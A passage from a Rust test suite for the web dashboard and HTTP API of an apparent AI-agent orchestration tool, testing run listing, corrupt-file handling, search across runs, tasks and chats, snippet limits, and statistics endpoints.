17585 "surprise": { "nested": [1, 2, 3] },
17586 })
17587 .to_string(),
17588 )
17589 .expect("write daemon.json");
17590
17591 let health = f.get("/api/health").await;
17592
17593 assert_eq!(health.status, 200);
17594 assert_eq!(health.json()["daemon"]["running"], true);
17595 }
17596
17597 #[tokio::test]
17598 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17599 let f = Fixture::start().await;
17600 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17601 let broken = f.runs().join("20260902-140502-bad");
17602 std::fs::create_dir_all(&broken).expect("run dir");
17603 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17604
17605 let list = f.get("/api/runs").await;
17606 let detail = f.get("/api/runs/20260902-140502-bad").await;
17607
17608 assert_eq!(list.status, 200);
17609 let listed = list.json();
17610 let ids: Vec<&str> = listed
17611 .as_array()
17612 .expect("an array")
17613 .iter()
17614 .map(|r| r["id"].as_str().expect("an id"))
17615 .collect();
17616 assert_eq!(
17617 ids,
17618 vec!["20260902-140501-good"],
17619 "one unreadable run must not cost the operator the whole history"
17620 );
17621 assert_eq!(detail.status, 500);
17622 assert!(
17623 detail.json()["error"]
17624 .as_str()
17625 .is_some_and(|e| e.contains("run.json")),
17626 "the failure names the file to look at: {}",
17627 detail.body
17628 );
17629 let health = f.get("/api/health").await;
17633 assert_eq!(health.json()["runs_unreadable"], 1);
17634 }
17635
17636 #[tokio::test]
17638 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17639 let f = Fixture::start().await;
17640 let runs = f.runs();
17641 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17642 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17643 let path = runs.join("20260902-140502-bbbb").join("run.json");
17646 let mut v: serde_json::Value =
17647 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17648 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17649 std::fs::write(&path, v.to_string()).unwrap();
17650 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17651 std::fs::write(
17652 runs.join("20260902-140503-cccc").join("run.json"),
17653 "{ not json",
17654 )
17655 .unwrap();
17656
17657 let res = f.get("/api/search?scope=runs&q=quokka").await;
17658 assert_eq!(res.status, 200, "{}", res.body);
17659 let v = res.json();
17660 assert_eq!(v["total"], 1, "{v}");
17661 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17662 assert_eq!(v["hits"][0]["field"], "text");
17663 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17664 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17665 assert!(
17666 parts
17667 .iter()
17668 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17669 "{v}"
17670 );
17671 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17672 assert_eq!(
17673 flat, "The Quokka leaks across threads",
17674 "whitespace is collapsed"
17675 );
17676
17677 let both = f
17679 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17680 .await
17681 .json();
17682 assert_eq!(both["total"], 1, "{both}");
17683 let neither = f
17684 .get("/api/search?scope=runs&q=quokka%20zebra")
17685 .await
17686 .json();
17687 assert_eq!(neither["total"], 0, "{neither}");
17688 let stmt = f
17690 .get("/api/search?scope=runs&q=mobile%20first")
17691 .await
17692 .json();
17693 assert_eq!(stmt["total"], 2, "{stmt}");
17694 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17695 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17696 }
17697
17698 #[test]
17699 fn snippet_ignores_terms_longer_than_the_field() {
17700 let terms = ["ok".to_owned(), "elephant".to_owned()];
17701 let parts = snippet_of("ok", &terms);
17702 assert_eq!(
17703 parts,
17704 vec![SnippetPart {
17705 text: "ok".to_owned(),
17706 hit: true
17707 }]
17708 );
17709 }
17710
17711 #[test]
17712 fn snippet_marks_matches_longer_than_the_window() {
17713 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17714 let hit_len = |parts: &[SnippetPart]| -> usize {
17715 parts
17716 .iter()
17717 .filter(|p| p.hit)
17718 .map(|p| p.text.chars().count())
17719 .sum()
17720 };
17721 let total =
17722 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17723
17724 let long = "a".repeat(120);
17725 let parts = snippet_of(&long, std::slice::from_ref(&long));
17726 assert!(hit_len(&parts) > 0, "{parts:?}");
17727 assert!(total(&parts) <= cap);
17728
17729 let ja = "あ".repeat(130);
17730 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17731 assert!(hit_len(&parts) > 0, "{parts:?}");
17732 assert!(total(&parts) <= cap);
17733
17734 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17736 let term = format!("ab{}", "c".repeat(100));
17737 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17738 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17739 assert!(total(&parts) <= cap);
17740
17741 let text = format!("{}z", "a".repeat(119));
17743 let parts = snippet_of(&text, &["a".repeat(120)]);
17744 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17745 }
17746
17747 #[tokio::test]
17748 async fn search_caps_hits_and_snippet_length() {
17749 let f = Fixture::start().await;
17750 let runs = f.runs();
17751 for n in 0..(SEARCH_MAX_HITS + 5) {
17752 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17753 }
17754 let v = f.get("/api/search?scope=runs&q=web").await.json();
17755 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17756 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17757 assert_eq!(v["truncated"], true);
17758 assert!(
17760 v["hits"]
17761 .as_array()
17762 .unwrap()
17763 .iter()
17764 .all(|h| h["run"]["status"] == "merged")
17765 );
17766
17767 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17768 let parts = snippet_of(&long, &["needle".to_owned()]);
17769 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17770 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17771 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17772 }
17773
17774 #[tokio::test]
17775 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17776 let f = Fixture::start().await;
17777 let queue = f.queue();
17778 let mut t = Task::new(
17779 "short title".to_owned(),
17780 "line one\nthe hidden Armadillo detail".to_owned(),
17781 PathBuf::from("/repo/magi"),
17782 Source::Agent {
17783 run: "r1".to_owned(),
17784 node: "chat".to_owned(),
17785 },
17786 );
17787 t.last_error = Some("disk full on /tmp".to_owned());
17788 queue.put(&mut t).expect("file the task");
17789
17790 for (q, want) in [
17791 ("armadillo", 1),
17792 ("disk%20FULL", 1),
17793 ("chat", 1),
17794 ("queued", 1),
17795 ("short%20nothing", 0),
17796 ] {
17797 let v = f
17798 .get(&format!("/api/search?scope=tasks&q={q}"))
17799 .await
17800 .json();
17801 assert_eq!(v["total"], want, "{q}: {v}");
17802 }
17803 for bad in [
17804 "/api/search?scope=tasks&q=",
17805 "/api/search?scope=tasks&q=%20",
17806 "/api/search?scope=chats&q=",
17807 "/api/search?scope=chats&q=%20",
17808 "/api/search?scope=nope&q=a",
17809 "/api/search?q=a",
17810 ] {
17811 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17812 }
17813 }
17814
17815 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17817 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17818 .expect("seat value");
17819 let turns: Vec<serde_json::Value> = turns
17820 .iter()
17821 .map(|(who, body)| {
17822 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17823 })
17824 .collect();
17825 let doc = serde_json::json!({
17826 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17827 "status": status, "turns": turns,
17828 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17829 "seat": seat,
17830 });
17831 let dir = f.home.path().join("talks");
17832 std::fs::create_dir_all(&dir).expect("talks dir");
17833 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17834 }
17835
17836 #[tokio::test]
17837 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17838 let f = Fixture::start().await;
17839 write_talk(
17840 &f,
17841 "20260901-000001-aaaa",
17842 "open",
17843 &[
17844 (
17845 "operator",
17846 "\n Why does the Pangolin cache expire?\nsecond line",
17847 ),
17848 ("agent", "Because the TTL is thirty seconds."),
17849 ],
17850 );
17851 write_talk(
17852 &f,
17853 "20260901-000002-bbbb",
17854 "closed",
17855 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17856 );
17857 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17858
17859 let search = |q: &'static str| {
17860 let f = &f;
17861 async move {
17862 f.get(&format!("/api/search?scope=chats&q={q}"))
17863 .await
17864 .json()
17865 }
17866 };
17867
17868 let v = search("PANGOLIN").await;
17869 assert_eq!(v["scope"], "chats");
17870 assert_eq!(v["total"], 1, "{v}");
17871 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17872 assert_eq!(v["hits"][0]["field"], "title");
17873 assert_eq!(v["unreadable"], 1, "{v}");
17874 let marked: Vec<&str> = v["hits"][0]["snippet"]
17875 .as_array()
17876 .unwrap()
17877 .iter()
17878 .filter(|p| p["hit"] == true)
17879 .map(|p| p["text"].as_str().unwrap())
17880 .collect();
17881 assert_eq!(marked, ["Pangolin"]);
17882
17883 let v = search("zebra").await;
17885 assert_eq!(v["total"], 1, "{v}");
17886 assert_eq!(v["hits"][0]["field"], "agent");
17887 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17889 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17890 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17892 assert_eq!(search(q).await["total"], 0, "{q}");
17893 }
17894 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17896 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17898
17899 let v = f.get("/api/search?scope=nope&q=a").await;
17900 assert_eq!(v.status, 400);
17901 assert!(
17902 v.body.contains("scope must be runs, tasks or chats"),
17903 "{}",
17904 v.body
17905 );
17906 }
17907
17908 #[test]
17909 fn a_question_card_links_a_task_id_to_the_task_page() {
17910 let start = APP_JS
17911 .find("function updateAskCard(")
17912 .expect("updateAskCard exists");
17913 let body = &APP_JS[start..];
17914 let body = &body[..body.find("\n}\n").expect("function end")];
17915 assert!(body.contains("question.run_is_task"));
17916 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17917 assert!(body.contains("`#/runs/${question.run}`"));
17918 assert!(body.contains("\"task\" : \"run\""));
17919 }
17920
17921 #[test]
17922 fn plain_text_message_surfaces_go_through_linkify() {
17923 assert!(APP_JS.contains("function linkify("));
17924 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17925 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17926 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17927 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17928 assert!(!APP_JS.contains("innerHTML = text"));
17929 }
17930
17931 #[test]
17932 fn implementation_rate_views_keep_independent_samples() {
17933 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17934 let a = stats::AgentStats {
17935 competitive_entered: competitive_n,
17936 competitive_wins: usize::from(competitive_n > 0),
17937 solo_entered: solo_n,
17938 solo_adopted: 2 * usize::from(solo_n > 0),
17939 ..Default::default()
17940 };
17941 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17942 for (key, n, numerator) in [
17943 ("competitive_win_rate", competitive_n, a.competitive_wins),
17944 ("solo_adoption_rate", solo_n, a.solo_adopted),
17945 ] {
17946 if n == 0 {
17947 assert!(v[key].is_null());
17948 } else {
17949 assert_eq!(v[key]["denominator"], n);
17950 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17951 }
17952 }
17953 }
17954 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17955 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17956 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17957 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17958 }
17959
17960 #[test]
17961 fn stats_bars_share_one_id_keyed_plan() {
17962 let start = APP_JS
17963 .find("function statsBarRows(")
17964 .expect("statsBarRows exists");
17965 let body = &APP_JS[start..];
17966 let body = &body[..body.find("\n}\n").expect("function end")];
17967 assert!(body.contains("statsBarPlan(rows)"));
17968 assert!(body.contains("statsAgentTone(row.agent)"));
17969 assert!(!body.contains("candTone(i)"));
17970 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17971 for root in [
17972 "stats-agents-bars",
17973 "stats-solo-bars",
17974 "stats-reviewers-bars",
17975 ] {
17976 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17977 }
17978 }
17979
17980 #[test]
17981 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17982 let start = APP_JS
17983 .find("function renderStatsReviewerScatter(")
17984 .expect("renderStatsReviewerScatter exists");
17985 let body = &APP_JS[start..];
17986 let body = &body[..body.find("\n}\n").expect("function end")];
17987 assert!(body.contains("statsScatterPlan(reviewers)"));
17988 assert!(body.contains("statsAgentTone(d.agent)"));
17989 assert!(APP_JS.contains("function statsScatterPlan("));
17990 assert!(
17991 APP_JS.contains("d.submitted < STATS_LOW_N")
17992 || APP_JS.contains("r.submitted < STATS_LOW_N")
17993 );
17994 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17995 assert!(APP_CSS.contains(".precision-scatter"));
17996 }
17997
17998 #[test]
17999 fn advisor_reflection_is_drawn_as_stacked_segments() {
18000 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18001 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18002 let html = include_str!("../assets/ui/index.html");
18003 assert!(html.contains("Approximate"));
18004 for label in ["reflected strongly", "faint", "no proposal"] {
18005 assert!(html.contains(label));
18006 }
18007 let css = include_str!("../assets/ui/app.css");
18008 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18009 assert!(css.contains(&format!(".{c} {{")));
18010 }
18011 }
18012
18013 #[test]
18014 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18015 assert!(APP_JS.contains("function statsDailyPlan("));
18016 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18017 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18018 }
18019
18020 #[test]
18021 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18022 let start = APP_JS
18023 .find("function scheduleSearch(")
18024 .expect("scheduleSearch exists");
18025 let body = &APP_JS[start..];
18026 let body = &body[..body.find("\n}\n").expect("function end")];
18027 assert!(body.contains("s.seq += 1"));
18028 }
18029
18030 #[tokio::test]
18035 async fn stats_runs_unreadable_matches_health() {
18036 let f = Fixture::start().await;
18037 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18038 let broken = f.runs().join("20260902-140502-bad");
18039 std::fs::create_dir_all(&broken).expect("run dir");
18040 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18041
18042 let stats = f.get("/api/stats").await;
18043 let health = f.get("/api/health").await;
18044
18045 assert_eq!(stats.status, 200);
18046 assert_eq!(stats.json()["totals"]["runs"], 1);
18047 assert_eq!(stats.json()["runs_unreadable"], 1);
18048 assert_eq!(
18049 stats.json()["runs_unreadable"],
18050 health.json()["runs_unreadable"],
18051 "the dashboard and /api/health must never disagree about how many \
18052 runs could not be read"
18053 );
18054 }
18055
18056 #[tokio::test]
18057 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18058 let f = Fixture::start().await;
18059 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18060 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18061 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18062
18063 let totals = &f.get("/api/stats").await.json()["totals"];
18064 assert_eq!(totals["runs"], 3);
18065 assert_eq!(totals["merged"], 1);
18066 assert_eq!(totals["stalled"], 1);
18067 assert_eq!(totals["in_progress"], 1);
18068 assert_eq!(totals["blocked"], 0);
18071 assert_eq!(totals["ready"], 0);
18072 }
18073
18074 #[tokio::test]
18075 async fn stats_advisors_report_proposals_and_reflection() {
18076 use crate::advise::{Advice, AdvisorRecord, Reflection};
18077 use crate::verdict::Proposal;
18078
18079 let f = Fixture::start().await;
18080 let mut state = RunState::new(
18081 PathBuf::from("/repo/magi"),
18082 "main".to_owned(),
18083 "0123456789abcdef".to_owned(),
18084 "task".to_owned(),
18085 Config::default(),
18086 );
18087 state.id = "20260902-140501-a".to_owned();
18088 state.status = RunStatus::Merged;
18089 state.advice = Some(Advice {
18090 records: vec![
18091 AdvisorRecord {
18092 seat: "advisor-1".to_owned(),
18093 agent: "alpha".to_owned(),
18094 proposal: Some(Proposal {
18095 approach: "do it".to_owned(),
18096 key_tradeoff: "speed over memory".to_owned(),
18097 risks: Vec::new(),
18098 touches: Vec::new(),
18099 why_not_naive: "breaks under load".to_owned(),
18100 }),
18101 error: None,
18102 duration_ms: 0,
18103 reflection: Reflection::Strong,
18104 },
18105 AdvisorRecord {
18106 seat: "advisor-2".to_owned(),
18107 agent: "alpha".to_owned(),
18108 proposal: None,
18109 error: Some("timed out".to_owned()),
18110 duration_ms: 0,
18111 reflection: Reflection::Absent,
18112 },
18113 ],
18114 synthesis: Some("blended brief".to_owned()),
18115 });
18116 let dir = f.runs().join(&state.id);
18117 std::fs::create_dir_all(&dir).expect("run dir");
18118 std::fs::write(
18119 dir.join("run.json"),
18120 serde_json::to_string_pretty(&state).expect("serialize run"),
18121 )
18122 .expect("write run.json");
18123
18124 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18126 let alpha = advisors
18127 .as_array()
18128 .expect("an array")
18129 .iter()
18130 .find(|a| a["agent"] == "alpha")
18131 .expect("alpha row");
18132 assert_eq!(alpha["seated"], 2);
18133 assert_eq!(alpha["proposed"], 1);
18134 assert_eq!(alpha["absent"], 1);
18135 assert_eq!(alpha["strong"], 1);
18136 assert_eq!(alpha["faint"], 0);
18137 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18138 }
18139
18140 #[tokio::test]
18141 async fn stats_hides_agents_outside_the_roster_unless_all() {
18142 use crate::run::Candidate;
18143 let repo = TempDir::new().expect("repo dir");
18144 std::fs::write(
18145 repo.path().join("magi.toml"),
18146 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18147 )
18148 .expect("magi.toml");
18149 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18150 let mut state = RunState::new(
18151 PathBuf::from("/repo/magi"),
18152 "main".to_owned(),
18153 "0123456789abcdef".to_owned(),
18154 "task".to_owned(),
18155 Config::default(),
18156 );
18157 state.id = "20260902-140501-a".to_owned();
18158 state.status = RunStatus::Merged;
18159 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18160 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18161 "index": 0, "label": label.to_string(), "agent": agent,
18162 "branch": "b", "worktree": "/w",
18163 }))
18164 .expect("candidate");
18165 c.label = label;
18166 state.candidates.push(c);
18167 }
18168 let dir = f.runs().join(&state.id);
18169 std::fs::create_dir_all(&dir).expect("run dir");
18170 std::fs::write(
18171 dir.join("run.json"),
18172 serde_json::to_string_pretty(&state).expect("serialize run"),
18173 )
18174 .expect("write run.json");
18175
18176 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18177 v["agents"]
18178 .as_array()
18179 .expect("array")
18180 .iter()
18181 .map(|a| a["agent"].as_str().unwrap().to_owned())
18182 .collect()
18183 };
18184 let hidden = f.get("/api/stats").await.json();
18185 assert_eq!(agents_of(&hidden), ["keep"]);
18186 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18187 assert_eq!(hidden["totals"]["runs"], 1);
18188
18189 let all = f.get("/api/stats?all=true").await.json();
18190 assert_eq!(agents_of(&all).len(), 2);
18191 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18192 let keep_agent = all["agents"]
18194 .as_array()
18195 .unwrap()
18196 .iter()
18197 .find(|a| a["agent"] == "keep")
18198 .unwrap();
18199 assert_eq!(keep_agent["competitive_entered"], 1);
18200 assert_eq!(keep_agent["competitive_wins"], 0);
18201 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18202 assert_eq!(keep_agent["solo_entered"], 0);
18203 assert_eq!(keep_agent["solo_adopted"], 0);
18204 assert!(keep_agent["solo_adoption_rate"].is_null());
18205 }
18206
18207 #[tokio::test]
18208 async fn stats_release_bumps_split_clean_from_attention() {
18209 use crate::run::ReleaseBump;
18210
18211 let f = Fixture::start().await;
18212
18213 let mut clean = RunState::new(
18214 PathBuf::from("/repo/magi"),
18215 "main".to_owned(),
18216 "0123456789abcdef".to_owned(),
18217 "task".to_owned(),
18218 Config::default(),
18219 );
18220 clean.id = "20260902-140501-a".to_owned();
18221 clean.status = RunStatus::Merged;
18222 clean.release_bump = Some(ReleaseBump {
18223 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18224 version: Some("1.0.0".to_owned()),
18225 automerge_enabled: true,
18226 merged_directly: false,
18227 local: false,
18228 release: None,
18229 problem: None,
18230 action_required: None,
18231 skipped: None,
18232 });
18233
18234 let mut blocked = RunState::new(
18235 PathBuf::from("/repo/magi"),
18236 "main".to_owned(),
18237 "0123456789abcdef".to_owned(),
18238 "task".to_owned(),
18239 Config::default(),
18240 );
18241 blocked.id = "20260902-140502-b".to_owned();
18242 blocked.status = RunStatus::Merged;
18243 blocked.release_bump = Some(ReleaseBump {
18244 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18245 version: Some("1.0.1".to_owned()),
18246 automerge_enabled: false,
18247 merged_directly: false,
18248 local: false,
18249 release: None,
18250 problem: Some("checks red".to_owned()),
18251 action_required: Some("look at the PR".to_owned()),
18252 skipped: None,
18253 });
18254
18255 for state in [&clean, &blocked] {
18256 let dir = f.runs().join(&state.id);
18257 std::fs::create_dir_all(&dir).expect("run dir");
18258 std::fs::write(
18259 dir.join("run.json"),
18260 serde_json::to_string_pretty(state).expect("serialize run"),
18261 )
18262 .expect("write run.json");
18263 }
18264
18265 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18266 assert_eq!(bumps["merged"], 2);
18267 assert_eq!(bumps["recorded"], 2);
18268 assert_eq!(bumps["pr_opened"], 2);
18269 assert_eq!(bumps["automerge_enabled"], 1);
18270 assert_eq!(bumps["needs_attention"], 1);
18271 assert_eq!(bumps["clean"], 1);
18272 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18273 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18274 }
18275
18276 #[tokio::test]
18277 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18278 let f = Fixture::start().await;
18279 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18280
18281 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18282 assert_eq!(bumps["merged"], 1);
18283 assert_eq!(bumps["recorded"], 0);
18284 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18287 assert_eq!(bumps["automerge_rate"], Value::Null);
18290 assert_eq!(bumps["attention_rate"], Value::Null);
18291 }
18292
18293 #[tokio::test]
18294 async fn stats_queue_counts_come_from_the_live_queue() {
18295 let f = Fixture::start().await;
18296 let q = f.queue();
18297 let mut queued = Task::new(
18298 "queued task".to_owned(),
18299 "do it".to_owned(),
18300 PathBuf::from("/repo"),
18301 Source::Human,
18302 );
18303 q.put(&mut queued).expect("put queued");
18304 let mut held = Task::new(
18305 "held task".to_owned(),
18306 "do it later".to_owned(),
18307 PathBuf::from("/repo"),
18308 Source::Human,
18309 );
18310 held.hold_machine(Some("out of attempts".to_owned()));
18311 q.put(&mut held).expect("put held");
18312
18313 let queue = f.get("/api/stats").await.json()["queue"].clone();
18314 assert_eq!(queue["queued"], 1);
18315 assert_eq!(queue["held"], 1);
18316 assert_eq!(queue["running"], 0);
18317 assert_eq!(queue["done"], 0);
18318 assert_eq!(queue["failed"], 0);
18319 assert_eq!(queue["blocked"], 0);
18320 }
18321
18322 #[tokio::test]
18323 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18324 let f = Fixture::start().await;
18325 let stats = f.get("/api/stats").await;
18326 assert_eq!(stats.status, 200);
18327 assert_eq!(stats.json()["totals"]["runs"], 0);
18328 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18329 assert_eq!(stats.json()["runs_unreadable"], 0);
18330 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18331 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18332 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18333 assert_eq!(stats.json()["repo"], Value::Null);
18334 }
18335
18336 #[tokio::test]
18337 async fn stats_lists_every_repository_with_runs_recorded() {
18338 let f = Fixture::start().await;
18339 write_run_repo(
18340 &f.runs(),
18341 "20260902-140501-a",
18342 RunStatus::Merged,
18343 "/repos/a",
18344 );
18345 write_run_repo(
18346 &f.runs(),
18347 "20260902-140502-b",
18348 RunStatus::Merged,
18349 "/repos/a",
18350 );
18351 write_run_repo(
18352 &f.runs(),
18353 "20260902-140503-c",
18354 RunStatus::Blocked,
18355 "/repos/b",
18356 );
18357
18358 let stats = f.get("/api/stats").await;
18359 assert_eq!(stats.status, 200);
18360 assert_eq!(stats.json()["totals"]["runs"], 3);
18362 assert_eq!(stats.json()["repo"], Value::Null);
18363
18364 let repos = stats.json()["repos"].clone();
18365 let repos = repos.as_array().unwrap();
18366 assert_eq!(repos.len(), 2);
18367 assert_eq!(repos[0]["repo"], "/repos/a");
18369 assert_eq!(repos[0]["name"], "a");
18370 assert_eq!(repos[0]["runs"], 2);
18371 assert_eq!(repos[1]["repo"], "/repos/b");
18372 assert_eq!(repos[1]["runs"], 1);
18373 }
18374
18375 #[tokio::test]
18376 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18377 let f = Fixture::start().await;
18378 write_run_repo(
18379 &f.runs(),
18380 "20260902-140501-a",
18381 RunStatus::Merged,
18382 "/repos/a",
18383 );
18384 write_run_repo(
18385 &f.runs(),
18386 "20260902-140502-b",
18387 RunStatus::Blocked,
18388 "/repos/b",
18389 );
18390
18391 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18392 assert_eq!(stats.status, 200);
18393 assert_eq!(stats.json()["totals"]["runs"], 1);
18394 assert_eq!(stats.json()["totals"]["merged"], 1);
18395 assert_eq!(stats.json()["repo"], "/repos/a");
18396 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18399 assert_eq!(stats.json()["runs_unreadable"], 0);
18402 }
18403
18404 #[tokio::test]
18405 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18406 let f = Fixture::start().await;
18407 write_run_repo(
18408 &f.runs(),
18409 "20260902-140501-a",
18410 RunStatus::Merged,
18411 "/repos/a",
18412 );
18413 write_run_repo(
18414 &f.runs(),
18415 "20260902-140502-b",
18416 RunStatus::Merged,
18417 "/repos/b",
18418 );
18419
18420 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18421 let json = f.get(uri).await.json();
18422 let daily = json["daily"].as_array().expect("daily is an array");
18423 assert_eq!(daily.len(), 30);
18424 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18425 let mut sorted = dates.clone();
18426 sorted.sort();
18427 assert_eq!(dates, sorted);
18428 for d in daily {
18429 assert_eq!(
18430 d["merged"].as_u64().unwrap()
18431 + d["ready"].as_u64().unwrap()
18432 + d["other"].as_u64().unwrap(),
18433 d["runs"].as_u64().unwrap()
18434 );
18435 }
18436 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18437 }
18438 }
18439
18440 #[tokio::test]
18441 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18442 let f = Fixture::start().await;
18443 write_run_repo(
18444 &f.runs(),
18445 "20260902-140501-a",
18446 RunStatus::Merged,
18447 "/repos/a",
18448 );
18449
18450 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18451 assert_eq!(stats.status, 404);
18452 }
18453
18454 #[tokio::test]
18455 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18456 let f = Fixture::start().await;
18457 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18458
18459 let summary = f.get("/api/runs").await.json();
18460 let row = &summary[0];
18461 assert_eq!(row["short"], "a1b2");
18462 assert_eq!(row["status"], "ready");
18463 assert_eq!(row["done"], true);
18464 assert_eq!(row["title"], "Add a web UI");
18465 assert_eq!(row["repo_name"], "magi");
18466 assert_eq!(row["judges"], 3);
18467 assert_eq!(row["winner"], Value::Null);
18468 assert_eq!(row["reviews"], 0);
18469
18470 let detail = f.get("/api/runs/a1b2").await;
18473 assert_eq!(detail.status, 200);
18474 assert_eq!(detail.json()["base_branch"], "main");
18475 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18476 }
18477
18478 #[tokio::test]
18486 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18487 let f = Fixture::start().await;
18488
18489 let mut none_run = RunState::new(
18490 PathBuf::from("/repo/magi"),
18491 "main".to_owned(),
